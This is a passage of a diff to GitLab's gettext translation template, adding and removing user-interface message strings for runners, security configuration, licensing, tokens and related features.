+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
